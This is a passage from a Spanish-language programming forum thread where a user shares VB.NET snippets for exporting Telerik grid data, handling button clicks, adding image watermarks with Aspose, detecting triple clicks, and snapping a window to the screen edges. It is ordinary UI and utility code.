  1.        Dim Exporter As New ExportToCSV(Me.RadGridView1)
  2.        With Exporter
  3.            .HiddenColumnOption = HiddenOption.DoNotExport ' Don't export hidden columns.
  4.            .HiddenRowOption = HiddenOption.DoNotExport ' Don't export hidden rows.
  5.            .SummariesExportOption = SummariesOption.DoNotExport
  6.            .ColumnDelimiter = " | "
  7.            .RowDelimiter = "; "
  8.            .
  9.        End With
  10.  
  11.        Exporter.RunExport("C:\Exported Data.xls")



[Telerik] [RadGridView] Export as HTML.

Ejemplo de como exportar un RadGridView a HTML.

Código
  1.        ' Export the data contained in the RadGridView DataSource.
  2.        Dim Exporter As New ExportToHTML(Me.RadGridView1)
  3.        With Exporter
  4.            .HiddenColumnOption = HiddenOption.DoNotExport ' Don't export hidden columns.
  5.            .HiddenRowOption = HiddenOption.DoNotExport ' Don't export hidden rows.
  6.            .SummariesExportOption = SummariesOption.DoNotExport
  7.            .AutoSizeColumns = False
  8.            .ExportVisualSettings = True
  9.            .FileExtension = "htm"
  10.            .TableBorderThickness = 2
  11.            .TableCaption = "My Exported Table"
  12.        End With
  13.  
  14.        Exporter.RunExport("C:\Exported Data.htm")



[Telerik] [RadGridView] Export as XLS.

Ejemplo de como exportar el DataSource de un RadGridView a Excel (xls).

Código
  1. Imports Telerik.WinControls.UI
  2. Imports Telerik.WinControls.UI.Export
  3. Imports Telerik.WinControls.UI.Localization
  4.  
  5. Public Class RadGridView_TestForm
  6.  
  7.    Private Sub RadGridView_TestForm_Load() Handles MyBase.Load
  8.  
  9.        ' Set the RadGridView language localization.
  10.        ' RadGridLocalizationProvider.CurrentProvider = New MyRadGridViewLocalizationProvider_Spanish
  11.  
  12.        ' Set the RadGridView properties.
  13.        With RadGridView1
  14.  
  15.            .ThemeName = "VisualStudio2012Dark" ' The visual theme.
  16.            .EnableAlternatingRowColor = True ' Enable color alternating between rows.
  17.            .TableElement.AlternatingRowColor = Color.FromArgb(52, 52, 56) ' The alternate color, a dark-gray.
  18.            .AutoGenerateColumns = False ' Deny the control to auto-generate columns when setting a DataSource.
  19.            .ReadOnly = True ' Disable Adding, Removing, and Editing on the control.
  20.  
  21.            ' Set the column datatypes.
  22.            .Columns("MyColumnString").DataType = GetType(String)
  23.            .Columns("MyColumnHour").DataType = GetType(String)
  24.            .Columns("MyColumnInteger").DataType = GetType(Integer)
  25.            .Columns("MyColumnDouble").DataType = GetType(Double)
  26.  
  27.            ' Set the excel export datatypes.
  28.            .Columns("MyColumnString").ExcelExportType = DisplayFormatType.Text
  29.            .Columns("MyColumnHour").ExcelExportType = DisplayFormatType.Custom
  30.            .Columns("MyColumnHour").ExcelExportFormatString = "h:mm"
  31.            .Columns("MyColumnInteger").ExcelExportType = DisplayFormatType.Custom
  32.            .Columns("MyColumnInteger").ExcelExportFormatString = "0"
  33.            .Columns("MyColumnDouble").ExcelExportType = DisplayFormatType.Custom
  34.            .Columns("MyColumnDouble").ExcelExportFormatString = "0.00"
  35.  
  36.        End With
  37.  
  38.        ' Export the data contained in the RadGridView DataSource.
  39.        Dim Exporter As New ExportToExcelML(Me.RadGridView1)
  40.        With Exporter
  41.            .HiddenColumnOption = HiddenOption.DoNotExport ' Don't export hidden columns.
  42.            .HiddenRowOption = HiddenOption.DoNotExport ' Don't export hidden rows.
  43.            .ExportVisualSettings = True ' Export the RadGridView current theme.
  44.            .SheetMaxRows = ExcelMaxRows._65536
  45.            .SheetName = "Betfair Market Analyzer"
  46.            .SummariesExportOption = SummariesOption.DoNotExport
  47.        End With
  48.  
  49.        Exporter.RunExport("C:\Exported Data.xls")
  50.  
  51.    End Sub
  52.  
  53. End Class



[Telerik] [RadSplitButton] Set a Default Item.

Ejemplo de como asignar un item por defecto.

Código
  1. Imports Telerik.WinControls.UI
  2.  
  3. Public Class RadSplitButton_TestForm
  4.  
  5.    Dim WithEvents MenuItem1 As New RadMenuItem With {.Text = "Item 1"}
  6.    Dim WithEvents MenuItem2 As New RadMenuItem With {.Text = "Item 2"}
  7.    Dim WithEvents MenuItem3 As New RadMenuItem With {.Text = "Item 3"}
  8.  
  9.    Private Sub RadSplitButton_TestForm_Load() Handles MyBase.Load
  10.  
  11.        RadSplitButton1.Items.AddRange({MenuItem1, MenuItem2, MenuItem3})
  12.        RadSplitButton1.DefaultItem = MenuItem2
  13.  
  14.    End Sub
  15.  
  16.    Private Sub MenuItem2_Click() Handles MenuItem2.Click
  17.  
  18.        MsgBox("I'm the default item!")
  19.  
  20.    End Sub
  21.  
  22. End Class



[Telerik] [RadSplitButton] Distinguish an Arrow click without a Default Item set.

Ejemplo de como distinguir cuando se hace un click sobre el control o sobre la flecha del control.

Código
  1. Public Class RadSplitButton_TestForm
  2.  
  3.    ''' <summary>
  4.    ''' Flag that determines whether the RadSplitButton menu-opening should be canceled.
  5.    ''' </summary>
  6.    Private CancelOpening As Boolean = False
  7.  
  8.    Private Sub RadSplitButton1_DropDownOpening(ByVal sender As Object, ByVal e As System.ComponentModel.CancelEventArgs) _
  9.    Handles RadSplitButton1.DropDownOpening
  10.  
  11.        e.Cancel = Me.CancelOpening
  12.  
  13.    End Sub
  14.  
  15.    Private Sub RadSplitButton1_MouseMove(ByVal sender As Object, ByVal e As MouseEventArgs) _
  16.    Handles RadSplitButton1.MouseMove
  17.  
  18.        Me.CancelOpening = Not sender.DropDownButtonElement.ArrowButton.IsMouseOverElement
  19.  
  20.    End Sub
  21.  
  22.    Private Sub RadSplitButton1_MouseDown(ByVal sender As Object, ByVal e As MouseEventArgs) _
  23.    Handles RadSplitButton1.Click
  24.  
  25.        If e.Button = Windows.Forms.MouseButtons.Left AndAlso Me.CancelOpening Then
  26.            MsgBox("clicked out the arrow!")
  27.  
  28.        ElseIf Not Me.CancelOpening Then
  29.            MsgBox("clicked over the arrow!")
  30.  
  31.        End If
  32.  
  33.    End Sub
  34.  
  35. End Class
  36.  



[Telerik] [RadDropDownButton] Distinguish an Arrow click without a Default Item set.

Ejemplo de como distinguir cuando se hace un click sobre el control o sobre la flecha del control.

Código
  1. Public Class RadDropDownButton_TestForm
  2.  
  3.    ''' <summary>
  4.    ''' Flag that determines whether the RadSplitButton menu-opening should be canceled.
  5.    ''' </summary>
  6.    Private CancelOpening As Boolean = False
  7.  
  8.    Private Sub RadDropDownButton1_DropDownOpening(ByVal sender As Object, ByVal e As System.ComponentModel.CancelEventArgs) _
  9.    Handles RadDropDownButton1.DropDownOpening
  10.  
  11.        e.Cancel = Me.CancelOpening
  12.  
  13.    End Sub
  14.  
  15.    Private Sub RadDropDownButton1_MouseMove(ByVal sender As Object, ByVal e As MouseEventArgs) _
  16.    Handles RadDropDownButton1.MouseMove
  17.  
  18.        Me.CancelOpening = Not sender.DropDownButtonElement.ArrowButton.IsMouseOverElement
  19.  
  20.    End Sub
  21.  
  22.    Private Sub RadDropDownButton1_MouseDown(ByVal sender As Object, ByVal e As MouseEventArgs) _
  23.    Handles RadDropDownButton1.Click
  24.  
  25.        If e.Button = Windows.Forms.MouseButtons.Left AndAlso Me.CancelOpening Then
  26.            MsgBox("clicked out the arrow!")
  27.  
  28.        ElseIf Not Me.CancelOpening Then
  29.            MsgBox("clicked over the arrow!")
  30.  
  31.        End If
  32.  
  33.    End Sub
  34.  
  35. End Class
  36.  


Título: Re: Librería de Snippets !! (Compartan aquí sus snippets)
Publicado por: Eleкtro en 14 Septiembre 2014, 11:46 am
Como añadir una marca de agua en una imagen usando la librería Aspose Imaging ( http://www.aspose.com/.net/imaging-component.aspx ).

Código
  1.    ' Add Watermark
  2.    ' By Elektro
  3.  
  4.    ''' <summary>
  5.    ''' Adds a watermark into an image, at the specified position.
  6.    ''' </summary>
  7.    ''' <param name="img">Indicates the image.</param>
  8.    ''' <param name="text">Indicates the watermark text.</param>
  9.    ''' <param name="fnt">Indicates the watermark text font.</param>
  10.    ''' <param name="color">Indicates the watermark text color.</param>
  11.    ''' <param name="position">Indicates the watermark text position.</param>
  12.    ''' <returns>Aspose.Imaging.Image.</returns>
  13.    Private Function AddWatermark(ByVal img As Aspose.Imaging.Image,
  14.                                  ByVal text As String,
  15.                                  ByVal fnt As Aspose.Imaging.Font,
  16.                                  ByVal color As Aspose.Imaging.Color,
  17.                                  ByVal position As Aspose.Imaging.PointF) As Aspose.Imaging.Image
  18.  
  19.        Using brush As New Aspose.Imaging.Brushes.SolidBrush With {.Color = color, .Opacity = 100.0F}
  20.  
  21.            ' Create and initialize an instance of Graphics class.
  22.            Dim g As New Aspose.Imaging.Graphics(img)
  23.  
  24.            ' Draw a String using the SolidBrush object and Font, at specific Point and with specific format.
  25.            g.DrawString(s:=text, font:=fnt, brush:=brush, point:=position)
  26.  
  27.        End Using
  28.  
  29.        ' Return the modified image.
  30.        Return img
  31.  
  32.    End Function
  33.  
  34.    ''' <summary>
  35.    ''' Adds a watermark into an image, at a prefedined position.
  36.    ''' </summary>
  37.    ''' <param name="img">Indicates the image.</param>
  38.    ''' <param name="text">Indicates the watermark text.</param>
  39.    ''' <param name="fnt">Indicates the watermark text font.</param>
  40.    ''' <param name="color">Indicates the watermark text color.</param>
  41.    ''' <param name="position">Indicates the watermark text position.</param>
  42.    ''' <param name="verticalmargin">Indicates the watermark text vertical margin.</param>
  43.    ''' <param name="horizontalmargin">Indicates the watermark text horizontal margin.</param>
  44.    ''' <returns>Aspose.Imaging.Image.</returns>
  45.    Private Function AddWatermark(ByVal img As Aspose.Imaging.Image,
  46.                                  ByVal text As String,
  47.                                  ByVal fnt As Aspose.Imaging.Font,
  48.                                  ByVal color As Aspose.Imaging.Color,
  49.                                  ByVal position As WatermarkPosition,
  50.                                  Optional ByVal verticalmargin As Single = 0.0F,
  51.                                  Optional ByVal horizontalmargin As Single = 0.0F) As Aspose.Imaging.Image
  52.  
  53.        Dim textformat As New Aspose.Imaging.StringFormat
  54.        Dim textposition As Aspose.Imaging.PointF = Aspose.Imaging.PointF.Empty
  55.        textformat.FormatFlags = Aspose.Imaging.StringFormatFlags.MeasureTrailingSpaces
  56.  
  57.        Select Case position
  58.  
  59.            Case WatermarkPosition.Top ' Note: horizontalmargin value is ignored.
  60.                textposition = New Aspose.Imaging.PointF(x:=(img.Width \ 2), y:=verticalmargin)
  61.                textformat.Alignment = Aspose.Imaging.StringAlignment.Center
  62.  
  63.            Case WatermarkPosition.TopLeft
  64.                textposition = New Aspose.Imaging.PointF(x:=horizontalmargin, y:=verticalmargin)
  65.                textformat.Alignment = Aspose.Imaging.StringAlignment.Near
  66.  
  67.            Case WatermarkPosition.TopRight
  68.                Dim f As New System.Drawing.Font(fnt.Name, fnt.Size, DirectCast(fnt.Style, System.Drawing.FontStyle))
  69.                Dim measure As System.Drawing.Size = TextRenderer.MeasureText(text, f)
  70.                textposition = New Aspose.Imaging.PointF(x:=(img.Width - measure.Width - horizontalmargin), y:=verticalmargin)
  71.                textformat.Alignment = Aspose.Imaging.StringAlignment.Near
  72.  
  73.            Case WatermarkPosition.Middle ' Note: verticalmargin horizontalmargin and values are ignored.
  74.                textposition = New Aspose.Imaging.PointF(x:=(img.Width \ 2), y:=(img.Height \ 2))
  75.                textformat.Alignment = Aspose.Imaging.StringAlignment.Center
  76.  
  77.            Case WatermarkPosition.MiddleLeft ' Note: verticalmargin value is ignored.
  78.                textposition = New Aspose.Imaging.PointF(x:=(horizontalmargin), y:=(img.Height \ 2))
  79.                textformat.Alignment = Aspose.Imaging.StringAlignment.Near
  80.  
  81.            Case WatermarkPosition.MiddleRight ' Note: verticalmargin value is ignored.
  82.                Dim f As New System.Drawing.Font(fnt.Name, fnt.Size, DirectCast(fnt.Style, System.Drawing.FontStyle))
  83.                Dim measure As System.Drawing.Size = TextRenderer.MeasureText(text, f)
  84.                textposition = New Aspose.Imaging.PointF(x:=(img.Width - measure.Width - horizontalmargin), y:=(img.Height \ 2))
  85.                textformat.Alignment = Aspose.Imaging.StringAlignment.Near
  86.  
  87.            Case WatermarkPosition.Bottom ' Note: horizontalmargin value is ignored.
  88.                Dim f As New System.Drawing.Font(fnt.Name, fnt.Size, DirectCast(fnt.Style, System.Drawing.FontStyle))
  89.                Dim measure As System.Drawing.Size = TextRenderer.MeasureText(text, f)
  90.                textposition = New Aspose.Imaging.PointF(x:=(img.Width \ 2), y:=(img.Height - measure.Height - verticalmargin))
  91.                textformat.Alignment = Aspose.Imaging.StringAlignment.Center
  92.  
  93.            Case WatermarkPosition.BottomLeft
  94.                Dim f As New System.Drawing.Font(fnt.Name, fnt.Size, DirectCast(fnt.Style, System.Drawing.FontStyle))
  95.                Dim measure As System.Drawing.Size = TextRenderer.MeasureText(text, f)
  96.                textposition = New Aspose.Imaging.PointF(x:=(horizontalmargin), y:=(img.Height - measure.Height - verticalmargin))
  97.                textformat.Alignment = Aspose.Imaging.StringAlignment.Near
  98.  
  99.            Case WatermarkPosition.BottomRight
  100.                Dim f As New System.Drawing.Font(fnt.Name, fnt.Size, DirectCast(fnt.Style, System.Drawing.FontStyle))
  101.                Dim measure As System.Drawing.Size = TextRenderer.MeasureText(text, f)
  102.                textposition = New Aspose.Imaging.PointF(x:=(img.Width - measure.Width - horizontalmargin), y:=(img.Height - measure.Height - verticalmargin))
  103.                textformat.Alignment = Aspose.Imaging.StringAlignment.Near
  104.  
  105.        End Select
  106.  
  107.        Using brush As New Aspose.Imaging.Brushes.SolidBrush With {.Color = color, .Opacity = 100.0F}
  108.  
  109.            ' Create and initialize an instance of Graphics class.
  110.            Dim g As New Aspose.Imaging.Graphics(img)
  111.  
  112.            ' Draw a String using the SolidBrush object and Font, at specific Point and with specific format.
  113.            g.DrawString(s:=text, font:=fnt, brush:=brush, point:=textposition, format:=textformat)
  114.  
  115.        End Using
  116.  
  117.        textformat.Dispose()
  118.  
  119.        ' Return the modified image.
  120.        Return img
  121.  
  122.    End Function
  123.  
  124.    ''' <summary>
  125.    ''' Specifies a Watermark position
  126.    ''' </summary>
  127.    Public Enum WatermarkPosition As Short
  128.  
  129.        ''' <summary>
  130.        ''' Top position.
  131.        ''' horizontalmargin value is ignored.
  132.        ''' </summary>
  133.        Top = 0S
  134.  
  135.        ''' <summary>
  136.        ''' Top-Left position.
  137.        ''' </summary>
  138.        TopLeft = 1S
  139.  
  140.        ''' <summary>
  141.        ''' Top-Right position.
  142.        ''' </summary>
  143.        TopRight = 2S
  144.  
  145.        ''' <summary>
  146.        ''' Middle-Left position.
  147.        ''' verticalmargin value is ignored.
  148.        ''' </summary>
  149.        MiddleLeft = 3S
  150.  
  151.        ''' <summary>
  152.        ''' Middle position.
  153.        ''' verticalmargin and horizontalmargin values are ignored.
  154.        ''' </summary>
  155.        Middle = 4S
  156.  
  157.        ''' <summary>
  158.        ''' Middle-Right position.
  159.        ''' verticalmargin value is ignored.
  160.        ''' </summary>
  161.        MiddleRight = 5S
  162.  
  163.        ''' <summary>
  164.        ''' Bottom position.
  165.        ''' horizontalmargin value is ignored.
  166.        ''' </summary>
  167.        Bottom = 6S
  168.  
  169.        ''' <summary>
  170.        ''' Bottom-Left position.
  171.        ''' </summary>
  172.        BottomLeft = 7S
  173.  
  174.        ''' <summary>
  175.        ''' Bottom-Right position.
  176.        ''' </summary>
  177.        BottomRight = 8S
  178.  
  179.    End Enum

Ejemplo de uso:

Código
  1.    Private Sub Form1_Load() Handles MyBase.Load
  2.  
  3.        ' Load an image to add a watermark.
  4.        Dim img As Aspose.Imaging.Image = Aspose.Imaging.Image.Load("C:\sample.bmp")
  5.  
  6.        ' Set the watermark text.
  7.        Dim text As String = "ElektroStudios"
  8.  
  9.        ' Set the watermark text color.
  10.        Dim color As Aspose.Imaging.Color = Aspose.Imaging.Color.White
  11.  
  12.        ' Set the watermark text font.
  13.        Dim fnt As New Aspose.Imaging.Font("Lucida Console", 32, FontStyle.Bold)
  14.  
  15.        ' Add the watermark into the image.
  16.        img = Me.AddWatermark(img:=img, text:=text, fnt:=fnt, color:=color, position:=WatermarkPosition.BottomRight)
  17.  
  18.        ' Or...
  19.        ' Dim position As New Aspose.Imaging.PointF(x:=10, y:=10)
  20.        ' img = Me.AddWatermark(img:=img, text:=text, fnt:=fnt, color:=color, position:=position)
  21.  
  22.        ' Save the image to disk.
  23.        img.Save("C:\Watermark.bmp")
  24.  
  25.        ' See the resulting image.
  26.        Process.Start("C:\Watermark.bmp")
  27.        Application.Exit()
  28.  
  29.    End Sub


Título: Re: Librería de Snippets !! (Compartan aquí sus snippets)
Publicado por: Eleкtro en 18 Septiembre 2014, 21:57 pm
Un método alternativo (al p/invoking) para detectar un triple-click en WinForms (esto en WPF se puede detectar practicamente en una sola linea, pero en WinForms es más complicado)

Código
  1.    ''' <summary>
  2.    ''' Flag that determines whether the user made a single click.
  3.    ''' </summary>
  4.    Private DidSingleClick As Boolean = False
  5.  
  6.    ''' <summary>
  7.    ''' Flag that determines whether the user made a double click.
  8.    ''' </summary>
  9.    Private DidDoubleClick As Boolean = False
  10.  
  11.    ''' <summary>
  12.    ''' Flag that determines whether the user made a triple click.
  13.    ''' </summary>
  14.    Private DidTripleclick As Boolean = False
  15.  
  16.    ''' <summary>
  17.    ''' Timer that resets the click-count after an inactivity period.
  18.    ''' </summary>
  19.    Private WithEvents ClickInactivity_Timer As New Timer With
  20.    {
  21.        .Interval = SystemInformation.DoubleClickTime,
  22.        .Enabled = False
  23.    }
  24.  
  25.    ''' <summary>
  26.    ''' Handles the MouseClick event of the TextBox1 control.
  27.    ''' </summary>
  28.    ''' <param name="sender">The source of the event.</param>
  29.    ''' <param name="e">The <see cref="MouseEventArgs"/> instance containing the event data.</param>
  30.    Private Sub TextBox1_MouseClick(ByVal sender As Object, ByVal e As MouseEventArgs) _
  31.    Handles TextBox1.MouseClick
  32.  
  33.        If Me.ClickInactivity_Timer.Enabled Then
  34.            Me.ClickInactivity_Timer.Enabled = False
  35.        End If
  36.  
  37.        Me.DidSingleClick = True
  38.  
  39.    End Sub
  40.  
  41.    ''' <summary>
  42.    ''' Handles the MouseDoubleClick event of the TextBox1 control.
  43.    ''' </summary>
  44.    ''' <param name="sender">The source of the event.</param>
  45.    ''' <param name="e">The <see cref="MouseEventArgs"/> instance containing the event data.</param>
  46.    Private Sub TextBox1_MouseDoubleClick(ByVal sender As Object, ByVal e As MouseEventArgs) _
  47.    Handles TextBox1.MouseDoubleClick
  48.  
  49.        If Me.ClickInactivity_Timer.Enabled Then
  50.            Me.ClickInactivity_Timer.Enabled = False
  51.        End If
  52.  
  53.        Me.DidDoubleClick = True
  54.  
  55.    End Sub
  56.  
  57.    ''' <summary>
  58.    ''' Handles the MouseUp event of the TextBox1 control.
  59.    ''' </summary>
  60.    ''' <param name="sender">The source of the event.</param>
  61.    ''' <param name="e">The <see cref="MouseEventArgs"/> instance containing the event data.</param>
  62.    Private Sub TextBox1_MouseUp(ByVal sender As Object, ByVal e As MouseEventArgs) _
  63.    Handles TextBox1.MouseUp
  64.  
  65.        If Not Me.ClickInactivity_Timer.Enabled Then
  66.  
  67.            Me.ClickInactivity_Timer.Enabled = True
  68.            Me.ClickInactivity_Timer.Start()
  69.  
  70.        End If
  71.  
  72.    End Sub
  73.  
  74.    ''' <summary>
  75.    ''' Handles the MouseDown event of the TextBox1 control.
  76.    ''' </summary>
  77.    ''' <param name="sender">The source of the event.</param>
  78.    ''' <param name="e">The <see cref="MouseEventArgs"/> instance containing the event data.</param>
  79.    Private Sub TextBox1_MouseDown(ByVal sender As Object, ByVal e As MouseEventArgs) _
  80.    Handles TextBox1.MouseDown
  81.  
  82.        Me.DidTripleclick = (Me.DidDoubleClick AndAlso Me.DidSingleClick)
  83.  
  84.        If Me.DidTripleclick Then
  85.  
  86.            Me.DidSingleClick = False
  87.            Me.DidDoubleClick = False
  88.            Me.DidTripleclick = False
  89.  
  90.            sender.SelectAll()
  91.  
  92.        End If
  93.  
  94.    End Sub
  95.  
  96.    ''' <summary>
  97.    ''' Handles the Tick event of the ClickInactivity_Timer control.
  98.    ''' </summary>
  99.    ''' <param name="sender">The source of the event.</param>
  100.    ''' <param name="e">The <see cref="EventArgs"/> instance containing the event data.</param>
  101.    Private Sub ClickInactivity_Timer_Tick(ByVal sender As Object, ByVal e As EventArgs) _
  102.    Handles ClickInactivity_Timer.Tick
  103.  
  104.        Me.DidSingleClick = False
  105.        Me.DidDoubleClick = False
  106.        Me.DidTripleclick = False
  107.  
  108.        sender.Enabled = False
  109.  
  110.    End Sub


Título: Re: Librería de Snippets !! (Compartan aquí sus snippets)
Publicado por: Eleкtro en 19 Septiembre 2014, 15:02 pm
WindowSticker
· Adhiere el Form a los bordes de la pantalla al mover la ventana cerca de los bordes.

Ejemplo de uso:

Código
  1. Private WindowSticker As New WindowSticker(ClientForm:=Me) With {.SnapMargin = 35}


Código
  1. ' ***********************************************************************
  2. ' Author           : Elektro
  3. ' Last Modified On : 09-19-2014
  4. ' ***********************************************************************
  5. ' <copyright file="WindowSticker.vb" company="Elektro Studios">
  6. '     Copyright (c) Elektro Studios. All rights reserved.
  7. ' </copyright>
  8. ' ***********************************************************************
  9.  
  10. #Region " Usage Examples "
  11.  
  12. ' Private WindowSticker As New WindowSticker(ClientForm:=Me) With {.SnapMargin = 35}
  13.  
  14. 'Private Sub Form1_Load() Handles MyBase.Shown
  15.  
  16. '    WindowSticker.Dispose()
  17. '    WindowSticker = New WindowSticker(Form2)
  18. '    WindowSticker.ClientForm.Show()
  19.  
  20. 'End Sub
  21.  
  22. #End Region
  23.  
  24. #Region " Imports "
  25.  
  26. Imports System.ComponentModel
  27. Imports System.Runtime.InteropServices
  28.  
  29. #End Region
  30.  
  31. #Region " WindowSticker "
  32.  
  33. ''' <summary>
  34. ''' Sticks a Form to a Desktop border (if the Form is near).
  35. ''' </summary>
  36. Public Class WindowSticker : Inherits NativeWindow : Implements IDisposable
  37.  
  38. #Region " Properties "
  39.  
  40. #Region " Public "
  41.  
  42.    ''' <summary>
  43.    ''' Gets the client form used to stick its borders.
  44.    ''' </summary>
  45.    ''' <value>The client form used to stick its borders.</value>
  46.    Public ReadOnly Property ClientForm As Form
  47.        Get
  48.            Return Me._ClientForm
  49.        End Get
  50.    End Property
  51.    Private WithEvents _ClientForm As Form = Nothing
  52.  
  53.    ''' <summary>
  54.    ''' Gets or sets the snap margin (offset), in pixels.
  55.    ''' (Default value is: 30))
  56.    ''' </summary>
  57.    ''' <value>The snap margin (offset), in pixels.</value>
  58.    Public Property SnapMargin As Integer
  59.        Get
  60.            Return Me._SnapMargin
  61.        End Get
  62.        Set(ByVal value As Integer)
  63.            Me.DisposedCheck()
  64.            Me._SnapMargin = value
  65.        End Set
  66.    End Property
  67.    Private _SnapMargin As Integer = 30I
  68.  
  69. #End Region
  70.  
  71. #Region " Private "
  72.  
  73.    ''' <summary>
  74.    ''' Gets rectangle that contains the size of the current screen.
  75.    ''' </summary>
  76.    ''' <value>The rectangle that contains the size of the current screen.</value>
  77.    Private ReadOnly Property ScreenRect As Rectangle
  78.        Get
  79.            Return Screen.FromControl(Me._ClientForm).Bounds
  80.        End Get
  81.    End Property
  82.  
  83.    ''' <summary>
  84.    ''' Gets the working area of the current screen.
  85.    ''' </summary>
  86.    ''' <value>The working area of the current screen.</value>
  87.    Private ReadOnly Property WorkingArea As Rectangle
  88.        Get
  89.            Return Screen.FromControl(Me._ClientForm).WorkingArea
  90.        End Get
  91.    End Property
  92.  
  93.    ''' <summary>
  94.    ''' Gets the desktop taskbar height (when thet taskbar is horizontal).
  95.    ''' </summary>
  96.    ''' <value>The desktop taskbar height (when thet taskbar is horizontal).</value>
  97.    Private ReadOnly Property TaskbarHeight As Integer
  98.        Get
  99.            Return Me.ScreenRect.Height - Me.WorkingArea.Height
  100.        End Get
  101.    End Property
  102.  
  103. #End Region
  104.  
  105. #End Region
  106.  
  107. #Region " Enumerations "
  108.  
  109.    ''' <summary>
  110.    ''' Windows Message Identifiers.
  111.    ''' </summary>
  112.    <Description("Messages to process in WndProc")>
  113.    Public Enum WindowsMessages As Integer
  114.  
  115.        ''' <summary>
  116.        ''' Sent to a window whose size, position, or place in the Z order is about to change.
  117.        ''' MSDN Documentation: http://msdn.microsoft.com/en-us/library/windows/desktop/ms632653%28v=vs.85%29.aspx
  118.        ''' </summary>
  119.        WM_WINDOWPOSCHANGING = &H46I
  120.  
  121.    End Enum
  122.  
  123. #End Region
  124.  
  125. #Region " Structures "
  126.  
  127.    ''' <summary>
  128.    ''' Contains information about the size and position of a window.
  129.    ''' MSDN Documentation: http://msdn.microsoft.com/en-us/library/windows/desktop/ms632612%28v=vs.85%29.aspx
  130.    ''' </summary>
  131.    <StructLayout(LayoutKind.Sequential)>
  132.    Public Structure WINDOWPOS
  133.  
  134.        ''' <summary>
  135.        ''' A handle to the window.
  136.        ''' </summary>
  137.        Public hwnd As IntPtr
  138.  
  139.        ''' <summary>
  140.        ''' The position of the window in Z order (front-to-back position).
  141.        ''' This member can be a handle to the window behind which this window is placed,
  142.        ''' or can be one of the special values listed with the 'SetWindowPos' function.
  143.        ''' </summary>
  144.        Public hwndInsertAfter As IntPtr
  145.  
  146.        ''' <summary>
  147.        ''' The position of the left edge of the window.
  148.        ''' </summary>
  149.        Public x As Integer
  150.  
  151.        ''' <summary>
  152.        ''' The position of the top edge of the window.
  153.        ''' </summary>
  154.        Public y As Integer
  155.  
  156.        ''' <summary>
  157.        ''' The window width, in pixels.
  158.        ''' </summary>
  159.        Public width As Integer
  160.  
  161.        ''' <summary>
  162.        ''' The window height, in pixels.
  163.        ''' </summary>
  164.        Public height As Integer
  165.  
  166.        ''' <summary>
  167.        ''' Flag containing the window position.
  168.        ''' </summary>
  169.        Public flags As Integer
  170.  
  171.    End Structure
  172.  
  173. #End Region
  174.  
  175. #Region " Constructor "
  176.  
  177.    ''' <summary>
  178.    ''' Initializes a new instance of WindowSticker class.
  179.    ''' </summary>
  180.    ''' <param name="ClientForm">The client form to assign this NativeWindow.</param>
  181.    Public Sub New(ByVal ClientForm As Form)
  182.  
  183.        ' Assign the Formulary.
  184.        Me._ClientForm = ClientForm
  185.  
  186.    End Sub
  187.  
  188.    ''' <summary>
  189.    ''' Prevents a default instance of the <see cref="WindowSticker"/> class from being created.
  190.    ''' </summary>
  191.    Private Sub New()
  192.    End Sub
  193.  
  194. #End Region
  195.  
  196. #Region " Event Handlers "
  197.  
  198.    ''' <summary>
  199.    ''' Assign the handle of the target Form to this NativeWindow,
  200.    ''' necessary to override target Form's WndProc.
  201.    ''' </summary>
  202.    Private Sub SetFormHandle() Handles _ClientForm.HandleCreated, _ClientForm.Load, _ClientForm.Shown
  203.  
  204.        If (Me._ClientForm IsNot Nothing) AndAlso (Not MyBase.Handle.Equals(Me._ClientForm.Handle)) Then
  205.  
  206.            MyBase.AssignHandle(Me._ClientForm.Handle)
  207.  
  208.        End If
  209.  
  210.    End Sub
  211.  
  212.    ''' <summary>
  213.    ''' Releases the Handle.
  214.    ''' </summary>
  215.    Private Sub OnHandleDestroyed() Handles _ClientForm.HandleDestroyed
  216.  
  217.        MyBase.ReleaseHandle()
  218.  
  219.    End Sub
  220.  
  221. #End Region
  222.  
  223. #Region " WndProc "
  224.  
  225.    ''' <summary>
  226.    ''' Invokes the default window procedure associated with this window to process messages.
  227.    ''' </summary>
  228.    ''' <param name="m">
  229.    ''' A <see cref="T:System.Windows.Forms.Message" /> that is associated with the current Windows message.
  230.    ''' </param>
  231.    Protected Overrides Sub WndProc(ByRef m As Message)
  232.  
  233.        If (Me._ClientForm IsNot Nothing) AndAlso (m.Msg = WindowsMessages.WM_WINDOWPOSCHANGING) Then
  234.  
  235.            Me.SnapToDesktopBorder(ClientForm:=Me._ClientForm, Handle:=m.LParam, widthAdjustment:=0)
  236.  
  237.        End If
  238.  
  239.        MyBase.WndProc(m)
  240.  
  241.    End Sub
  242.  
  243. #End Region
  244.  
  245. #Region " Private Methods "
  246.  
  247.    ''' <summary>
  248.    ''' Sticks a Form to a desktop border (it its near).
  249.    ''' </summary>
  250.    ''' <param name="ClientForm">The client form used to stick its borders.</param>
  251.    ''' <param name="Handle">A pointer to a 'WINDOWPOS' structure that contains information about the window's new size and position.</param>
  252.    ''' <param name="widthAdjustment">The border width adjustment.</param>
  253.    Private Sub SnapToDesktopBorder(ByVal ClientForm As Form,
  254.                                    ByVal Handle As IntPtr,
  255.                                    Optional ByVal widthAdjustment As Integer = 0I)
  256.  
  257.        Dim newPosition As WINDOWPOS = CType(Marshal.PtrToStructure(Handle, GetType(WINDOWPOS)), WINDOWPOS)
  258.  
  259.        If (newPosition.y = 0) OrElse (newPosition.x = 0) Then
  260.            ' Nothing to do.
  261.            Exit Sub
  262.        End If
  263.  
  264.        ' Top border (check if taskbar is on top or bottom via WorkingRect.Y)
  265.        If (newPosition.y >= -SnapMargin AndAlso (Me.WorkingArea.Y > 0 AndAlso newPosition.y <= (Me.TaskbarHeight + Me.SnapMargin))) _
  266.        OrElse (Me.WorkingArea.Y <= 0 AndAlso newPosition.y <= (SnapMargin)) Then
  267.  
  268.            If Me.TaskbarHeight > 0 Then
  269.                ' Horizontal Taskbar
  270.                newPosition.y = Me.WorkingArea.Y
  271.            Else
  272.                ' Vertical Taskbar
  273.                newPosition.y = 0
  274.            End If
  275.  
  276.        End If
  277.  
  278.        ' Left border
  279.        If (newPosition.x >= Me.WorkingArea.X - Me.SnapMargin) _
  280.        AndAlso (newPosition.x <= Me.WorkingArea.X + Me.SnapMargin) Then
  281.  
  282.            newPosition.x = Me.WorkingArea.X
  283.  
  284.        End If
  285.  
  286.        ' Right border.
  287.        If (newPosition.x + Me._ClientForm.Width <= Me.WorkingArea.Right + Me.SnapMargin) _
  288.        AndAlso (newPosition.x + Me._ClientForm.Width >= Me.WorkingArea.Right - Me.SnapMargin) Then
  289.  
  290.            newPosition.x = (Me.WorkingArea.Right - Me._ClientForm.Width)
